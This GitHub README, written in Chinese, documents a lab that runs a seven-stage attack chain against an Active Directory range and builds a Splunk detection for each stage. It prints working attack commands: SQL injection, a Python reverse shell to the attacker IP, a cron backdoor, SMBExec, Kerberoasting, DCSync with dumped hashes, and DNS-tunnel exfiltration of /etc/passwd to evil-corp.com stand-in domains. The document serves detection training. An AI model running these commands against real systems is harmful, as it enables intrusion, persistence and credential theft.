err0rKhalifa/Operation-Shadow-Grid
GitHub: err0rKhalifa/Operation-Shadow-Grid
在 7 台虚拟机环境中执行企业级攻击链并通过 Splunk SIEM 进行全阶段检测覆盖率验证的检测工程实验室。
Stars: 0 | Forks: 0
# 影子网格行动
一个 Splunk 安全监控实验室,在 7 台虚拟机环境中模拟了 7 阶段的企业攻击链,并在每个阶段验证了检测覆盖率。每一个阶段——从初始侦察到域控沦陷和数据泄露——都是通过由 Zeek、Suricata、Sysmon、Windows 安全日志和 Linux syslog 提供数据源的 Splunk Enterprise 来执行和检测的。
共编写了 15 条检测规则,并映射到 MITRE ATT&CK。其中 12 条在本次实战的真实攻击数据中成功触发。另外 3 条规则为本次运行中未执行的技术预留。
| | |
|---|---|
| SIEM | Splunk Enterprise 9.2.1 |
| 检测规则 | 15 (12 条活跃,3 条预留) |
| MITRE ATT&CK 覆盖 | 横跨 8 种战术的 14 项技术 |
| 环境 | 7-VM VMware Workstation 靶场 |
| 域 | SHADOWGRID.LOCAL |
| 攻击阶段 | 7 个阶段被执行并检测 |
## 关键发现
所有 7 个攻击阶段均在 Splunk 中被检测到,涵盖了横跨 8 种战术的 14 项 MITRE ATT&CK 技术。完整的杀伤链可以仅通过 SIEM 重建——一个没有先前背景知识的 SOC 分析师,完全可以仅使用本报告中记录的查询,追踪从侦察到域控沦陷和数据泄露的全过程。
最显著的检测盲区是反弹 shell,它经过了 Zeek 未监控的 NAT 网段。这个盲区通过基于主机的 syslog 检测(检测 15)得以弥补,这证明了一种分层防御方法,即用一个遥测数据源来弥补另一个数据源的盲点。
在此次实战中确认的高保真检测包括:通过事件 4662 和 DS-Replication-Get-Changes-All GUID 检测到的 DCSync,通过使用 RC4 加密类型 (`0x17`) 的事件 4769 检测到的 Kerberoasting,以及通过 Zeek 查询长度和 SERVFAIL 分析检测到的 DNS 隧道。

*Splunk 日志源清单——所有索引和主机都在积极转发数据。*
## 目录
1. [执行摘要](#executive-summary)
2. [实验室环境](#lab-environment)
3. [攻击时间线](#attack-timeline)
- [阶段 1 — 侦察](#phase-1--reconnaissance-t1046)
- [阶段 2 — 初始访问](#phase-2--initial-access-t1190)
- [阶段 3 — 持久化](#phase-3--persistence-t1053003--t1505003)
- [阶段 4 — 权限提升](#phase-4--privilege-escalation-t1078003)
- [阶段 5 — 横向移动](#phase-5--lateral-movement-t1021002)
- [阶段 6 — 域控沦陷](#phase-6--domain-compromise)
- [阶段 7 — 数据泄露](#phase-7--data-exfiltration-t1048003)
4. [检测汇总矩阵](#detection-summary-matrix)
5. [检测盲区与建议](#detection-gaps-and-recommendations)
6. [MITRE ATT&CK 覆盖图](#mitre-attck-coverage-map)
7. [使用的工具](#tools-used)
8. [经验教训](#lessons-learned)
## 执行摘要
“影子网格行动”是一个检测工程实验室,旨在回答一个问题:面对真实的企业攻击链,SIEM 实际上能看到什么?
本次演练分为两部分进行。首先,在 7 台虚拟机组成的虚拟化网络中执行了完整的攻击——侦察、通过易受攻击的 Web 应用进行初始访问、通过 cron 和 web shell 进行持久化、通过密码重用进行权限提升、通过 SMBExec 横向移动进入 Windows 域、通过 Kerberoasting 和 DCSync 沦陷域控,以及通过 DNS 隧道进行数据泄露。其次,在 Splunk 中对每个阶段进行调查,以确定捕获了哪些证据、盲区在哪里以及如何弥补这些盲区。
结果:7 个阶段全部被检测到。检测盲区已被识别、记录,并在可能的情况下通过补偿控制措施予以弥补。项目的交付物既是一份攻击性演练指南,也是能够捕获这些攻击的防御性检测工程实践。
## 实验室环境
### 网络架构

*NAT 过渡网络、pfSense 防火墙,以及托管 AD 域、Web 目标和 SIEM 传感器的内部 10.10.10.0/24 局域网。*
```
┌─────────────────────────────────────────────────────────────┐
│ NAT Network (VMnet8) │
│ 192.168.119.0/24 │
│ │
│ ┌──────────┐ ┌──────────────┐ ┌───────────────┐ │
│ │ Kali │ │ WebServer │ │ SplunkServer │ │
│ │ .129 │ │ .131 │ │ .132 │ │
│ └────┬─────┘ └──────┬───────┘ └──────┬────────┘ │
│ │ │ │ │
└───────┼─────────────────┼───────────────────┼───────────────┘
│ │ │
┌────┴─────────────────┴───────────────────┴───────────────┐
│ pfSense Firewall (10.10.10.1) │
│ VMnet2 (LAN) │
│ 10.10.10.0/24 │
│ │
│ ┌────────┐ ┌────────┐ ┌────────┐ ┌───────────┐ │
│ │ DC01 │ │ WS01 │ │ WS02 │ │ WebServer │ │
│ │ .10 │ │ .20 │ │ .30 │ │ .50 │ │
│ └────────┘ └────────┘ └────────┘ └───────────┘ │
│ │
│ ┌───────────────┐ │
│ │ SplunkServer │ │
│ │ .60 │ │
│ └───────────────┘ │
└───────────────────────────────────────────────────────────┘
```
Kali 通过 NAT 发起攻击,因此在 Zeek 和 Suricata 日志中,攻击者流量的源 IP 显示为 10.10.10.1 (pfSense),而不是 Kali 的地址。反弹 shell 穿越了 Zeek 传感器无法看到的 NAT 网段——这是 [盲区 1](#gap-1-reverse-shell-over-nat) 中讨论的主要检测盲区的基础。
### 虚拟机清单
| 虚拟机 | 操作系统 | IP (局域网) | IP (NAT) | 角色 |
|----|----|----------|----------|------|
| pfSense | pfSense CE 2.7.2 | 10.10.10.1 | 192.168.119.128 | 防火墙 / 路由器 |
| DC01 | Windows Server 2022 | 10.10.10.10 | — | Active Directory 域控 |
| WS01 | Windows 10 Pro | 10.10.10.20 | — | 域工作站 |
| WS02 | Windows 10 Pro | 10.10.10.30 | — | 域工作站 |
| WebServer | Ubuntu 24.04 LTS | 10.10.10.50 | 192.168.119.131 | DVWA 易受攻击的 Web 应用 |
| SplunkServer | Ubuntu 24.04 LTS | 10.10.10.60 | 192.168.119.132 | Splunk SIEM + Zeek + Suricata |
| Kali | Kali Linux | — | 192.168.119.129 | 攻击机 |
### 域配置
| | |
|---|---|
| 域 | SHADOWGRID.LOCAL |
| 域管理员 | Administrator |
| 域用户 | j.smith (IT), s.jones (HR), m.wilson (财务) |
| 服务账户 | svc_web — SPN: HTTP/webserver.shadowgrid.local |
### 日志源
| 来源 | 索引 | Sourcetype | 收集方法 |
|--------|-------|------------|-------------------|
| Windows Security 日志 | idx_windows | WinEventLog:Security | Universal Forwarder |
| Windows System 日志 | idx_windows | WinEventLog:System | Universal Forwarder |
| Sysmon | idx_windows | XmlWinEventLog:Microsoft-Windows-Sysmon/Operational | Universal Forwarder |
| PowerShell Operational | idx_windows | WinEventLog:Microsoft-Windows-PowerShell/Operational | Universal Forwarder |
| pfSense Syslog | idx_firewall | syslog | UDP 514 |
| Linux auth / auditd | idx_firewall | syslog | rsyslog forwarding |
| Apache Access 日志 | idx_firewall | syslog | rsyslog forwarding |
| Zeek conn.log | idx_network | zeek:conn | SplunkServer 上的 Zeek |
| Zeek dns.log | idx_network | zeek:dns | SplunkServer 上的 Zeek |
| Zeek http.log | idx_network | zeek:http | SplunkServer 上的 Zeek |
| Zeek ssl.log | idx_network | zeek:ssl | SplunkServer 上的 Zeek |
| Suricata eve.json | idx_ids | suricata:eve | SplunkServer 上的 Suricata |
## 攻击时间线
所有时间戳均为 UTC。Kali 攻击流量通过 NAT 路由,在 Zeek 和 Suricata 日志中显示为源 IP 10.10.10.1 (pfSense)。
### 阶段 1 — 侦察 (T1046)
目标:枚举目标网络,并识别存活主机、开放端口和 Web 应用结构。
#### 1.1 — Nmap 端口扫描
```
nmap -sS -sV -O -p- 10.10.10.50
```
结果:识别出 WebServer 上的开放端口——HTTP (80/tcp)、SSH (22/tcp)、MySQL (3306/tcp)。操作系统指纹识别确认为 Ubuntu Linux。
Splunk 检测:
```
index=idx_network sourcetype="zeek:conn" id_resp_h="10.10.10.50" id_orig_h="10.10.10.1" proto=tcp conn_state="REJ"
```
证据:在 Zeek conn.log 中,来自单一源 (10.10.10.1,即通过 NAT 连接的攻击者) 发往 WebServer 的 129,038 个被拒绝的 TCP 连接 (`conn_state=REJ`),跨越了 100 多个不同的目标端口。`conn_state` 细分显示有 129,038 个 REJ(关闭的端口回复 RST),相比之下只有 112 个 SF 连接,这揭示了开放的服务 (HTTP、SSH、MySQL)。
由于关闭的端口会回复 RST,Zeek 将此扫描记录为 REJ 而不是 S0(半开连接)。S0 只会出现在静默丢弃数据包的被过滤端口上。在这里,pfSense 拒绝了它们,从而产生了保真度更高的 REJ 记录。

*Zeek conn.log 中来自单一源、跨越 100 多个端口的 129,038 个 REJ TCP 连接。*
#### 1.2 — Gobuster 目录暴力破解
```
gobuster dir -u http://10.10.10.50/DVWA/ -w /usr/share/wordlists/dirb/common.txt -t 10
```
结果:发现了 DVWA 结构,包括 `/login.php`、`/setup.php`、`/vulnerabilities/`。
Splunk 检测:
```
index=idx_network sourcetype="zeek:http" id_resp_h="10.10.10.50" status_code=404
```
证据:来自单一源的连续数百个 404 响应。User-agent:`gobuster/3.8`。
### 阶段 2 — 初始访问 (T1190)
目标:利用 DVWA 漏洞在 WebServer 上实现代码执行。
#### 2.1 — SQL 注入 [T1190]
```
-- Confirm injection
1' OR '1'='1
-- Extract credentials
1' UNION SELECT user, password FROM users#
```
结果:提取了 5 个带有 MD5 密码哈希的 DVWA 用户账户。
| 用户名 | MD5 哈希 | 破解的密码 |
|----------|----------|------------------|
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 | password |
| gordonb | e99a18c428cb38d5f260853678922e03 | abc123 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | charley |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | letmein |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | password |
Splunk 检测:
```
index=idx_network sourcetype="zeek:http" id_resp_h="10.10.10.50" uri="*UNION*SELECT*"
```
证据:Zeek http.log 在请求 URI 中捕获了凭证提取 payload——`GET /DVWA/vulnerabilities/sqli/?id=1' UNION SELECT user, password FROM users#`,返回 HTTP 200。在前面的请求 referer 中可以看到 `' OR '1'='1` 确认探测,这展示了完全可以通过网络遥测重构的“先确认后提取”注入序列。

*请求 URI 中的 UNION SELECT payload,由 Zeek 在网络层捕获。*
#### 2.2 — 命令注入 [T1059.004]
```
; whoami # www-data
; id # uid=33(www-data) gid=33(www-data)
; uname -a # Linux webserver 6.8.0-117-generic x86_64
; cat /etc/passwd # found sysadmin (uid 1000)
; ip addr show # confirmed dual NIC (NAT + LAN)
; which nc python3 bash # all available
```
Splunk 检测:
```
index=idx_firewall host="10.10.10.50" sourcetype="syslog" "vulnerabilities/exec"
```
证据:Apache access log 中有 26 个事件显示 `POST /DVWA/vulnerabilities/exec/` 返回 HTTP 200(通过 syslog 转发到 idx_firewall)。注入的命令本身存在于 POST body 中,而 Apache access 日志不会记录这部分内容。Web 层证明了易受攻击的 endpoint 被反复利用;要捕获命令内容,需要 auditd 或 Sysmon-for-Linux 进程审计。

*Apache access log 显示了对命令注入 endpoint 发送的 POST 请求。*
#### 2.3 — 反弹 shell [T1059.004]
```
# Kali 监听器
nc -lvnp 4444
# 注入的 payload(通过 DVWA 命令注入)
; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.129",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# Shell 稳定化
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z ; stty raw -echo && fg ; export TERM=xterm
```
结果:获得稳定的交互式 shell,身份为 `www-data@webserver`。
Splunk 检测:
```
index=idx_firewall host="10.10.10.50" sourcetype="syslog" "vulnerabilities/exec"
```
证据:Apache access log 捕获了投递 payload 的每一个 POST 请求。
检测盲区:反弹 shell 本身通过 NAT 网段 (192.168.119.x) 出口,而 Zeek 传感器不监控该网段。对于网络检测来说,这个出站连接是不可见的。这个盲区由基于主机的 syslog 检测 15 弥补,并在 [盲区 1](#gap-1-reverse-shell-over-nat) 中讨论。
### 阶段 3 — 持久化 (T1053.003 + T150.003)
目标:在被攻陷的 WebServer 上建立持久访问机制。
#### 3.1 — Cron 任务后门 [T1053.003]
```
(crontab -l 2>/dev/null; echo "*/5 * * * * /usr/bin/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.119.129\",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'") | crontab -
```
结果:为 www-data 安装了反弹 shell cron 任务,每 5 分钟执行一次。
Splunk 检测:
```
index=idx_firewall host="10.10.10.50" sourcetype="syslog" cron
```
证据:syslog 捕获了每个 5 分钟周期内的 cron 任务执行事件。
#### 3.2 — Web shell [T1505.003]
```
cat > /var/www/html/DVWA/hackable/uploads/info.php << 'EOF'
EOF
# 验证
curl "http://10.10.10.50/DVWA/hackable/uploads/info.php?cmd=whoami" # www-data
```
Splunk 检测:
```
index=idx_firewall host="10.10.10.50" sourcetype="syslog" "uploads/info.php"
```
证据:Apache syslog 捕获了对 web shell 的访问——URI 为 `info.php?cmd=whoami`,状态码 200,user-agent 为 `curl/8.17.0`。

*Splunk 中的 info.php?cmd=whoami 请求——位于 uploads 目录下已上传的 PHP 文件上的命令参数。*
### 阶段 4 — 权限提升 (T1078.003)
目标:在 WebServer 上将权限从 www-data 提升至 root。
#### 4.1 — 枚举
```
sudo -l # No sudo access for www-data
find / -perm -4000 -type f 2>/dev/null # Only default SUID binaries
getcap -r / 2>/dev/null # No exploitable capabilities
ls -la /etc/passwd /etc/shadow # Not writable
```
结果:标准的权限提升途径已被锁定。
#### 4.2 — 密码重用:www-data 到 sysadmin [T1078.003]
```
su sysadmin # Password:
```
结果:WebServer 的凭证被重复用于本地 sysadmin 账户。
#### 4.3 — Sudo 提权:sysadmin 到 root [T1548.003]
```
sudo -l # (ALL : ALL) ALL
sudo su - # root shell
```
Splunk 检测:
```
index=idx_firewall host="10.10.10.50" sourcetype="syslog" (su OR sudo)
```
证据(syslog 中的提权链):
- `sudo: sysadmin : TTY=pts/0 ; USER=root ; COMMAND=/usr/bin/su -`
- `su: session opened for user root(uid=0) by sysadmin(uid=0)`
- `sudo: pam_unix(sudo:session): session opened for user root(uid=0) by sysadmin(uid=1000)`
提权链:www-data (uid=33) 通过密码重用提权至 sysadmin (uid=1000),随后 sysadmin 通过 sudo ALL 提权至 root (uid=0)。

*从 Linux auth syslog 中重构出的 sudo 到 root 的提权序列。*
### 阶段 5 — 横向移动 (T1021.002)
目标:从被攻陷的 WebServer 跳板进入 Windows 域。
#### 5.1 — 从 WebServer 收集凭证
```
cat /etc/shadow # sysadmin yescrypt hash
cat /var/www/html/DVWA/config/config.inc.php # MySQL creds: dvwa / dvwa123
```
| 来源 | 用户名 | 备注 |
|--------|----------|-------|
| WebServer 本地账户 | sysadmin | 密码在域中被重用 |
| DVWA MySQL | dvwa | 应用 DB 凭证 |
| DVWA 用户 (阶段 2 SQLi) | admin, gordonb, 1337, pablo, smithy | 从 MD5 破解而来 |
#### 5.2 — 通过 SMBExec 登录 WS01 [T1021.002]
```
impacket-smbexec 'SHADOWGRID/Administrator:@10.10.10.20'
# WS01 上的 nt authority\system
```
注意:由于 admin 共享上的远程 UAC 限制,`impacket-psexec` 失败。`impacket-smbexec` 成功,获得了 SYSTEM shell。
Splunk 检测 — Windows Security(网络登录):
```
index=idx_windows host="WS01" sourcetype="WinEventLog:Security" EventCode=4624 Logon_Type=3 Account_Name="Administrator"
```
证据:WS01 上的网络登录 (Type 3)——Account_Name: Administrator,Account_Domain: SHADOWGRID,Authentication_Package: NTLM,Elevated_Token: Yes,Source_Network_Address: 10.10.10.1。

*Event 4624 Logon Type 3——由 SMBExec 会话创建的远程网络身份验证。*
Splunk 检测 — 特殊权限:
```
index=idx_windows host="WS01" sourcetype="WinEventLog:Security" EventCode=4672
```
证据:NT AUTHORITY\SYSTEM 的特殊特权登录——被分配了 SeDebugPrivilege、SeImpersonatePrivilege、SeTakeOwnershipPrivilege。
Splunk 检测 — 网络:
```
index=idx_network sourcetype="zeek:conn" id_resp_h="10.10.10.20" id_resp_p=445
```
证据:从 10.10.10.1 到 10.10.10.20:445 的 SMB 连接,服务为 gssapi/smb/ntlm,传输了 70+ KB 数据。

*Zeek conn.log 显示了通向端口 445 的 SMB 会话。*
检测盲区:SMBExec 服务创建的过程过于短暂,无法稳定记录到 Event 7045 中。见 [盲区 2](#gap-2-smbexec-service-creation-not-captured)。
### 阶段 6 — 域控沦陷
目标:攻陷 Active Directory——提取所有凭证并取得完整的域控制权。
#### 6.1 — Kerberoasting [T1558.003]
```
impacket-GetUserSPNs 'SHADOWGRID.LOCAL/j.smith:' -dc-ip 10.10.10.10 -request
```
结果:提取了 svc_web 的 TGS 哈希 (RC4 / etype 23)。遇到了时钟偏差错误 (KRB_AP_ERR_SKEW),并通过将 Kali 时钟同步到 DC01 解决了该问题。该哈希已通过定向字典破解。
Splunk 检测:
```
index=idx_windows host="DC01" sourcetype="WinEventLog:Security" EventCode=4769 Ticket_Encryption_Type=0x17
```
证据:DC01 上的 TGS 请求,Ticket_Encryption_Type=0x17 (RC4),Service_Name=svc_web,由 j.smith@SHADOWGRID.LOCAL 请求,Client_Address=::ffff:10.10.10.1。现代 Kerberos 会协商使用 AES (0x11/0x12),因此针对服务账户的 RC4 TGS 请求是高保真的 Kerberoasting 指标。

*Event 4769 —— Service_Name=svc_web,Ticket_Encryption_Type=0x17 (RC4)。*
#### 6.2 — AS-REP Roasting [T1558.004]
```
impacket-GetNPUsers 'SHADOWGRID.LOCAL/' -dc-ip 10.10.10.10 -usersfile users.txt
```
结果:没有易受攻击的账户——全部启用了 Kerberos 预身份验证。已测试,不易受攻击(记录为负面覆盖测试)。
#### 6.3 — DCSync [T1003.006]
```
impacket-secretsdump 'SHADOWGRID.LOCAL/Administrator:@10.10.10.10'
```
结果:通过 DRSUAPI 复制进行了完整的域凭证转储。
| 账户 | RID | NTLM 哈希 |
|---------|-----|-----------|
| Administrator | 500 | 7dfa0531d73101ca080c7379a9bff1c7 |
| krbtgt | 502 | 354e112f519fe4107a032e366dd3b7fb |
| j.smith | 1109 | a372e4660b769499a1cc6c8884237fdf |
| s.jones | 1108 | a372e4660b769499a1cc6c8884237fdf |
| m.wilson | 1110 | a372e4660b769499a1cc6c8884237fdf |
| svc_web | 1111 | 9cbb6ac75e2a4718563d2fdf9f41a01f |
另外提取了:Kerberos AES256/AES128/DES 密钥、机器账户哈希、DPAPI 密钥和 LSA secrets。krbtgt 哈希可用于制作黄金票据(Golden Ticket)——这是一种能在密码重置后继续存活的持久域访问权限。

*secretsdump 输出,显示了域凭证转储。*
Splunk 检测 — DCSync:
```
index=idx_windows host="DC01" sourcetype="WinEventLog:Security" EventCode=4662 Account_Name="Administrator" Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
```
证据:事件 4662 引用了 DS-Replication-Get-Changes-All 扩展权限,GUID 为 {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2},由 Account_Name: Administrator 发起请求。非机器账户调用复制权限是 DCSync 的明确指标。

*Event 4662 —— 由 Administrator 请求的 DS-Replication-Get-Changes-All GUID。*
Splunk 检测 — 显式凭证使用:
```
index=idx_windows host="DC01" sourcetype="WinEventLog:Security" EventCode=4648
```
证据:显式凭证登录——账户:Administrator,进程:lsass.exe——证实了该复制请求。
### 阶段 7 — 数据泄露 (T1048.003)
目标:通过 DNS 隧道从被攻陷的 WebServer 中泄露敏感数据。
#### 7.1 — DNS 隧道
```
echo "CONFIDENTIAL: " > /tmp/secret_data.txt
# 将文件内容以 base64 编码的 DNS 子域名进行 Exfiltrate
cat /tmp/secret_data.txt | base64 | tr -d '\n' | fold -w 40 | \
while read chunk; do
dig "$chunk.exfil.evil-corp.com" @10.10.10.1 +short +timeout=2 2>/dev/null
done
# 大容量 TXT 隧道模拟
for i in $(seq 1 50); do
dig TXT "tunnel-$i-$(head -c 20 /dev/urandom | base64 | tr -d '/+=' | head -c 30).c2.evil-corp.com" \
@10.10.10.1 +short +timeout=2 2>/dev/null
done
# Exfiltrate /etc/passwd
cat /etc/passwd | base64 | tr -d '\n' | fold -w 40 | \
while read chunk; do dig "$chunk.data.evil-corp.com" @10.10.10.1 +short +timeout=2 2>/dev/null; done
```
Splunk 检测:
```
index=idx_network sourcetype="zeek:dns" query="*evil-corp.com*"
```
证据:116 条从 10.10.10.50 到 10.10.10.1:53 的 DNS 查询,带有 base64 编码的子域名(每个标签 40+ 个字符),全部返回 SERVFAIL。

*Zeek dns.log 显示了发往 evil-corp.com 的长 base64 子域名以及 SERVFAIL 响应。*
检测指标:子域名标签长度超过 30 个字符、单个主机在短时间窗口内查询量巨大、对未知域名的 TXT 查询、标签中的 base64 字符模式、NXDOMAIN/SERVFAIL 响应。
## 检测汇总矩阵
| 阶段 | MITRE ATT&CK | 技术 | 日志源 | Sourcetype | 关键字段 |
|-------|--------------|-----------|------------|------------|------------|
| 1 — 侦察 | T1046 | 网络服务扫描 | Zeek conn.log | zeek:conn | conn_state=REJ,单一来源超过 12.9 万次 |
| 1 — 侦察 | T1046 | 目录暴力破解 | Zeek http.log | zeek:http | status_code=404,user_agent=gobuster |
| 2 — 初始访问 | T1190 | SQL 注入 | Zeek http.log | zeek:http | URI 包含 UNION/SELECT,状态码 200 |
| 2 — 初始访问 | T1059.004 | 命令注入 | Apache syslog | syslog | POST 到 /vulnerabilities/exec/,状态码 200 |
| 2 — 初始访问 | T1059.004 | 反弹 shell | Apache syslog | syslog | POST body 中的 python3 |
| 3 — 持久化 | T1053.003 | Cron 后门 | Linux syslog | syslog | www-data 的 cron 执行,5 分钟周期 |
| 3 — 持久化 | T1505.003 | Web shell | Apache syslog | syslog | 带有 cmd 参数的对 info.php 的 GET 请求 |
| 4 — 提权 | T1078.003 | 密码重用 | Linux auth syslog | syslog | su 会话开启,uid 33 到 1000 |
| 4 — 提权 | T1548.003 | Sudo 切换至 root | Linux auth syslog | syslog | sudo COMMAND=/usr/bin/su -,uid 1000 到 0 |
| 5 — 横向移动 | T1021.002 | SMBExec (登录) | Windows Security | WinEventLog:Security | EventCode=4624 Logon_Type=3 |
| 5 — 横向移动 | T1021.002 | SMBExec (特权) | Windows Security | WinEventLog:Security | EventCode=4672 (SYSTEM) |
| 5 — 横向移动 | T1021.002 | SMBExec (网络) | Zeek conn.log | zeek:conn | dest_port=445,服务 gssapi/smb/ntlm |
| 6 — 域控 | T1558.003 | Kerberoasting | Windows Security | WinEventLog:Security | EventCode=4769,Ticket_Encryption_Type=0x17 |
| 6 — 域控 | T1003.006 | DCSync | Windows Security | WinEventLog:Security | EventCode=4662,GUID {1131f6ad-...} |
| 6 — 域控 | T1003.006 | DCSync (显式凭证) | Windows Security | WinEventLog:Security | EventCode=4648,lsass.exe |
| 7 — 数据泄露 | T1048.003 | DNS 隧道 | Zeek dns.log | zeek:dns | 长子域名,高请求量,SERVFAIL |
在保存的 15 条检测规则中,有 12 条在真实的攻击数据上被触发。另外三条规则——PowerShell 滥用 (T1059.001)、暴力破解 (T1110) 和 RDP 横向移动 (T1021.001)——是为本次演练中未执行预留的。保留它们是为了保证覆盖范围的完整性。
## 检测盲区与建议
### 盲区 1:通过 NAT 的反弹 shell
反弹 shell(阶段 2 和阶段 3 的 cron 任务)经由 NAT 网段从 WebServer 出口到 Kali,而 Zeek 传感器没有监控该网段。对于网络检测而言,出站的 C2 连接是不可见的。这通过基于主机的 syslog 检测 15 得到了弥补,它在 Apache 层而不是线路上捕获了 shell 的投递。生产环境建议:监控每一个网段,包括管理和 NAT 网络,并对绝不应该主动发起出站连接的服务器的意外出站连接进行告警。
### 盲区 2:SMBExec 服务创建未被捕获
Event 7045(新安装的服务)并没有稳定地捕获 SMBExec 服务——因为它的创建和删除是在几毫秒内完成的。建议:启用命令行进程审计(带有命令行的 Event 4688)以及 Sysmon Event 1。针对由服务派生的 `cmd.exe /Q /c` 模式,以及来自异常父进程的 SYSTEM 级别进程创建行为进行告警。
### 盲区 3:DNS 没有出口过滤
DNS 隧道查询在无限制或无边界告警的情况下通过了 pfSense;检测完全依赖于 Zeek 传感器。建议:添加 DNS 查询长度监控(对标签超过 30 个字符的情况进行告警)、单主机查询量阈值、熵分析,以及对应该只解析已知域名的服务器设置白名单。
### 盲区 4:无文件完整性监控
info.php web shell 仅在通过 HTTP 访问时才被检测到,而不是在创建时。建议:在 Web 服务器上部署文件完整性监控(Wazuh、OSSEC 或 Sysmon for Linux),以便在 Web 可访问目录中出现新文件时进行告警。
## MITRE ATT&CK 覆盖图

*从 MITRE ATT&CK Navigator 导出的覆盖热力图。*
### 覆盖的战术(14 个中的 8 个)
| 战术 | 展示的技术 | 检测 |
|--------|-------------------------|-----------|
| 侦察 | T1046 — 网络服务扫描 | 检测 1 |
| 初始访问 | T1190 — 利用面向公众的应用 | 检测 2 |
| 执行 | T1059.004 — Unix Shell | 检测 2 / 15 |
| 持久化 | T1053.003 — Cron,T1505.003 — Web Shell | 检测 4 |
| 权限提升 | T1078.003 — 有效账户,T1548.003 — Sudo | 检测 6 |
| 凭证访问 | T1558.003 — Kerberoasting,T1003.006 — DCSync | 检测 9 / 10 |
| 横向移动 | T1021.002 — SMB/管理共享 | 检测 8 |
| 数据泄露 | T1048.003 — 通过 DNS 泄露 | 检测 13 |
## 使用的工具
攻击方:Nmap、Gobuster、Impacket (smbexec, GetUserSPNs, GetNPUsers, secretsdump)、John the Ripper、Netcat、自定义的基于 dig 的 DNS 泄露工具。
防御与监控方:Splunk Enterprise 9.2.1、Splunk Universal Forwarder 10.4.0、Zeek 8.2.0、Suricata 7.0.3、Sysmon 15.20、auditd。
## 经验教训
1. 密码重用是最可靠的提权途径。仅仅一个被重用的凭证就充当了从 www-data 到本地管理员、再到域内的桥梁。在真实环境中,重用会把一个立足点转化为全面沦陷。
2. DNS 是大多数环境中的盲区。数据泄露在边界处完全未被监控;只有专门的 Zeek 传感器捕获到了它。DNS 层面的分析(长度、熵、量)绝不应被视为可选项。
3. 时间同步对攻防双方都至关重要。Kerberos 攻击在偏差超过约 5 分钟后会失败,并且当时间戳发生偏移时,日志关联也会失效。NTP 本质上是安全基础设施。
4. 短暂存在的工件可以逃避基于事件的日志记录。SMBExec 在几毫秒内创建并删除其服务。捕获它需要命令行审计和行为分析,而不仅仅是事件监控。
5. 多层检测是不可或缺的。没有单一的来源可以捕获一切。Zeek(网络)、Windows Security(认证)、Sysmon(端点)和 syslog(Linux)各自弥补了其他来源遗漏的内容。NAT 反弹 shell 的盲区证明了冗余的必要性。
6. DCSync 在正确的审计下是可检测的。事件 4662 结合 DS-Replication-Get-Changes-All GUID 是明确的指标。这种审计策略应该存在于每一个 Active Directory 环境中。
*影子网格行动 — Splunk 安全监控实验室*
*Ahmed Ali Khalifa — 中东技术大学网络安全技术工程系,巴格达*
标签:AMSI绕过, Cloudflare, IP 地址批量处理, Metaprompt, MITRE ATT&CK, 威胁检测, 安全实验室, 安全运营, 扫描框架, 攻击模拟, 模拟器, 驱动签名利用